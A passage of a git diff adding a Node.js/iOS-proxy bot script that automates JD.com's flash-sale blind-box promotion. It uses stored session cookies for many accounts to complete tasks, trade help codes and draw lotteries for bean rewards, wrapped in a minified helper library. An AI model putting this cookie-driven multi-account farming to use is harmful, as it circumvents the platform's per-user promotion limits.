1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_sgmh.js b/jd_sgmh.js new file mode 100644 index 0000000..4607a25 --- /dev/null +++ b/jd_sgmh.js @@ -0,0 +1,384 @@ +/* +闪购盲盒 +长期活动,一人每天5次助力机会,10次被助机会,被助力一次获得一次抽奖机会,前几次必中京豆 +修改自 @yangtingxiao 抽奖机脚本 +活动入口:京东APP首页-闪购-闪购盲盒 +网页地址:https://h5.m.jd.com/babelDiy/Zeus/3vzA7uGuWL2QeJ5UeecbbAVKXftQ/index.html +更新地址:https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_sgmh.js +已支持IOS双京东账号, Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js +============Quantumultx=============== +[task_local] +#闪购盲盒 +20 8 * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_sgmh.js, tag=闪购盲盒, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true +================Loon============== +[Script] +cron "20 8 * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_sgmh.js, tag=闪购盲盒 +===============Surge================= +闪购盲盒 = type=cron,cronexp="20 8 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_sgmh.js +============小火箭========= +闪购盲盒 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_sgmh.js, cronexpr="20 8 * * *", timeout=3600, enable=true + */ +const $ = new Env('闪购盲盒'); +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let appId = '1EFRXxg' , homeDataFunPrefix = 'interact_template', collectScoreFunPrefix = 'harmony', message = '' +let lotteryResultFunPrefix = homeDataFunPrefix, browseTime = 6 +const inviteCodes = [ + '', + '', +]; +const randomCount = $.isNode() ? 20 : 5; +const notify = $.isNode() ? require('./sendNotify') : ''; +let merge = {} +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = `https://api.m.jd.com/client.action`; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', {"open-url": "https://bean.m.jd.com/"}); + return; + } + await requireConfig(); + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.beans = 0 + message = '' + await TotalBean(); + await shareCodesFormat(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await interact_template_getHomeData() + await showMsg(); + } + } +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) +//获取活动信息 +function interact_template_getHomeData(timeout = 0) { + return new Promise((resolve) => { + setTimeout( ()=>{ + let url = { + url : `${JD_API_HOST}`, + headers : { + 'Origin' : `https://h5.m.jd.com`, + 'Cookie' : cookie, + 'Connection' : `keep-alive`, + 'Accept' : `application/json, text/plain, */*`, + 'Referer' : `https://h5.m.jd.com/babelDiy/Zeus/2WBcKYkn8viyxv7MoKKgfzmu7Dss/index.html`, + 'Host' : `api.m.jd.com`, + 'Accept-Encoding' : `gzip, deflate, br`, + 'Accept-Language' : `zh-cn` + }, + body : `functionId=${homeDataFunPrefix}_getHomeData&body={"appId":"${appId}","taskToken":""}&client=wh5&clientVersion=1.0.0` + } + $.post(url, async (err, resp, data) => { + try { + data = JSON.parse(data); + if (data.data.bizCode !== 0) { + console.log(data.data.bizMsg); + return + } + scorePerLottery = data.data.result.userInfo.scorePerLottery||data.data.result.userInfo.lotteryMinusScore + if (data.data.result.raiseInfo&&data.data.result.raiseInfo.levelList) scorePerLottery = data.data.result.raiseInfo.levelList[data.data.result.raiseInfo.scoreLevel]; + //console.log(scorePerLottery) + for (let i = 0;i < data.data.result.taskVos.length;i ++) { + console.log("\n" + data.data.result.taskVos[i].taskType + '-' + data.data.result.taskVos[i].taskName + '-' + (data.data.result.taskVos[i].status === 1 ? `已完成${data.data.result.taskVos[i].times}-未完成${data.data.result.taskVos[i].maxTimes}` : "全部已完成")) + //签到 + if (data.data.result.taskVos[i].taskName === '邀请好友助力') { + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${data.data.result.taskVos[i].assistTaskDetailVo.taskToken}\n`); + for (let code of $.newShareCodes) { + if (!code) continue + await harmony_collectScore(code, data.data.result.taskVos[i].taskId); + await $.wait(2000) + } + } + else if (data.data.result.taskVos[i].status === 3) { + console.log('开始抽奖') + await interact_template_getLotteryResult(data.data.result.taskVos[i].taskId); + } + else if ([0,13].includes(data.data.result.taskVos[i].taskType)) { + if (data.data.result.taskVos[i].status === 1) { + await harmony_collectScore(data.data.result.taskVos[i].simpleRecordInfoVo.taskToken,data.data.result.taskVos[i].taskId); + } + } + else if ([14,6].includes(data.data.result.taskVos[i].taskType)) { + //console.log(data.data.result.taskVos[i].assistTaskDetailVo.taskToken) + for (let j = 0;j <(data.data.result.userInfo.lotteryNum||0);j++) { + if (appId === "1EFRTxQ") { + await ts_smashGoldenEggs() + } else { + await interact_template_getLotteryResult(data.data.result.taskVos[i].taskId); + } + } + } + let list = data.data.result.taskVos[i].productInfoVos || data.data.result.taskVos[i].followShopVo || data.data.result.taskVos[i].shoppingActivityVos || data.data.result.taskVos[i].browseShopVo + for (let k = data.data.result.taskVos[i].times; k < data.data.result.taskVos[i].maxTimes; k++) { + for (let j in list) { + if (list[j].status === 1) { + //console.log(list[j].simpleRecordInfoVo||list[j].assistTaskDetailVo) + console.log("\n" + (list[j].title || list[j].shopName||list[j].skuName)) + //console.log(list[j].itemId) + if (list[j].itemId) { + await harmony_collectScore(list[j].taskToken,data.data.result.taskVos[i].taskId,list[j].itemId,1); + if (k === data.data.result.taskVos[i].maxTimes - 1) await interact_template_getLotteryResult(data.data.result.taskVos[i].taskId); + } else { + await harmony_collectScore(list[j].taskToken,data.data.result.taskVos[i].taskId) + } + list[j].status = 2; + break; + } + } + } + } + if (scorePerLottery) await interact_template_getLotteryResult(); + } catch (e) { + $.logErr(e, resp); + } finally { + resolve() + } + }) + },timeout) + }) +} +//做任务 +function harmony_collectScore(taskToken,taskId,itemId = "",actionType = 0,timeout = 0) { + return new Promise((resolve) => { + setTimeout( ()=>{ + let url = { + url : `${JD_API_HOST}`, + headers : { + 'Origin' : `https://h5.m.jd.com`, + 'Cookie' : cookie, + 'Connection' : `keep-alive`, + 'Accept' : `application/json, text/plain, */*`, + 'Referer' : `https://h5.m.jd.com/babelDiy/Zeus/2WBcKYkn8viyxv7MoKKgfzmu7Dss/index.html`,//?inviteId=P225KkcRx4b8lbWJU72wvZZcwCjVXmYaS5jQ P225KkcRx4b8lbWJU72wvZZcwCjVXmYaS5jQ?inviteId=${shareCode} + 'Host' : `api.m.jd.com`, + 'Accept-Encoding' : `gzip, deflate, br`, + 'Accept-Language' : `zh-cn` + }, + body : `functionId=${collectScoreFunPrefix}_collectScore&body={"appId":"${appId}","taskToken":"${taskToken}","taskId":${taskId}${itemId ? ',"itemId":"'+itemId+'"' : ''},"actionType":${actionType}&client=wh5&clientVersion=1.0.0` + } + //console.log(url.body) + //if (appId === "1EFRTxQ") url.body += "&appid=golden-egg" + $.post(url, async (err, resp, data) => { + try { + data = JSON.parse(data); + if (data.data.bizMsg === "任务领取成功") { + await harmony_collectScore(taskToken,taskId,itemId,0,parseInt(browseTime) * 1000); + } else{ + console.log(data.data.bizMsg) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve() + } + }) + },timeout) + }) +} +//抽奖 +function interact_template_getLotteryResult(taskId,timeout = 0) { + return new Promise((resolve) => { + setTimeout( ()=>{ + let url = { + url : `${JD_API_HOST}`, + headers : { + 'Origin' : `https://h5.m.jd.com`, + 'Cookie' : cookie, + 'Connection' : `keep-alive`, + 'Accept' : `application/json, text/plain, */*`, + 'Referer' : `https://h5.m.jd.com/babelDiy/Zeus/2WBcKYkn8viyxv7MoKKgfzmu7Dss/index.html?inviteId=P04z54XCjVXmYaW5m9cZ2f433tIlGBj3JnLHD0`,//?inviteId=P225KkcRx4b8lbWJU72wvZZcwCjVXmYaS5jQ P225KkcRx4b8lbWJU72wvZZcwCjVXmYaS5jQ + 'Host' : `api.m.jd.com`, + 'Accept-Encoding' : `gzip, deflate, br`, + 'Accept-Language' : `zh-cn` + }, + body : `functionId=${lotteryResultFunPrefix}_getLotteryResult&body={"appId":"${appId}"${taskId ? ',"taskId":"'+taskId+'"' : ''}}&client=wh5&clientVersion=1.0.0` + } + //console.log(url.body) + //if (appId === "1EFRTxQ") url.body = `functionId=ts_getLottery&body={"appId":"${appId}"${taskId ? ',"taskId":"'+taskId+'"' : ''}}&client=wh5&clientVersion=1.0.0&appid=golden-egg` + $.post(url, async (err, resp, data) => { + try { + if (!timeout) console.log('\n开始抽奖') + data = JSON.parse(data); + if (data.data.bizCode === 0) { + if (data.data.result.userAwardsCacheDto.jBeanAwardVo) { + console.log('京豆:' + data.data.result.userAwardsCacheDto.jBeanAwardVo.quantity) + $.beans += parseInt(data.data.result.userAwardsCacheDto.jBeanAwardVo.quantity) + } + if (data.data.result.raiseInfo) scorePerLottery = parseInt(data.data.result.raiseInfo.nextLevelScore); + if (parseInt(data.data.result.userScore) >= scorePerLottery && scorePerLottery) { + await interact_template_getLotteryResult(1000) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve() + } + }) + },timeout) + }) +} + + +//通知 +function showMsg() { + message += `任务已完成,本次运行获得京豆${$.beans}` + return new Promise(resolve => { + if ($.beans) $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); + $.log(`【京东账号${$.index}】${$.nickName}\n${message}`); + resolve() + }) +} + +function requireConfig() { + return new Promise(async resolve => { + console.log(`开始获取${$.name}配置文件\n`); + //Node.js用户请在jdCookie.js处填写京东ck; + let shareCodes = [] + console.log(`共${cookiesArr.length}个京东账号\n`); + if ($.isNode() && process.env.JDSGMH_SHARECODES) { + if (process.env.JDSGMH_SHARECODES.indexOf('\n') > -1) { + shareCodes = process.env.JDSGMH_SHARECODES.split('\n'); + } else { + shareCodes = process.env.JDSGMH_SHARECODES.split('&'); + } + } + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(shareCodes).forEach((item) => { + if (shareCodes[item]) { + $.shareCodesArr.push(shareCodes[item]) + } + }) + } + console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); + resolve() + }) +} + +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) + $.newShareCodes = []; + if ($.shareCodesArr[$.index - 1]) { + $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); + } else { + console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) + const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); + $.newShareCodes = inviteCodes[tempIndex].split('@'); + } + const readShareCodeRes = await readShareCode(); + // console.log(readShareCodeRes) + if (readShareCodeRes && readShareCodeRes.code === 200) { + $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; + } + console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} + +function readShareCode() { + console.log(`开始`) + return new Promise(async resolve => { + $.get({url: ``, timeout: 10000}, (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(2000); + resolve() + }) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`\ud83d\udd14${this.name}, \u5f00\u59cb!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),a={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(a,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t){let e={"M+":(new Date).getMonth()+1,"d+":(new Date).getDate(),"H+":(new Date).getHours(),"m+":(new Date).getMinutes(),"s+":(new Date).getSeconds(),"q+":Math.floor(((new Date).getMonth()+3)/3),S:(new Date).getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,((new Date).getFullYear()+"").substr(4-RegExp.$1.length)));for(let s in e)new RegExp("("+s+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?e[s]:("00"+e[s]).substr((""+e[s]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r)));let h=["","==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="];h.push(e),s&&h.push(s),i&&h.push(i),console.log(h.join("\n")),this.logs=this.logs.concat(h)}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t.stack):this.log("",`\u2757\ufe0f${this.name}, 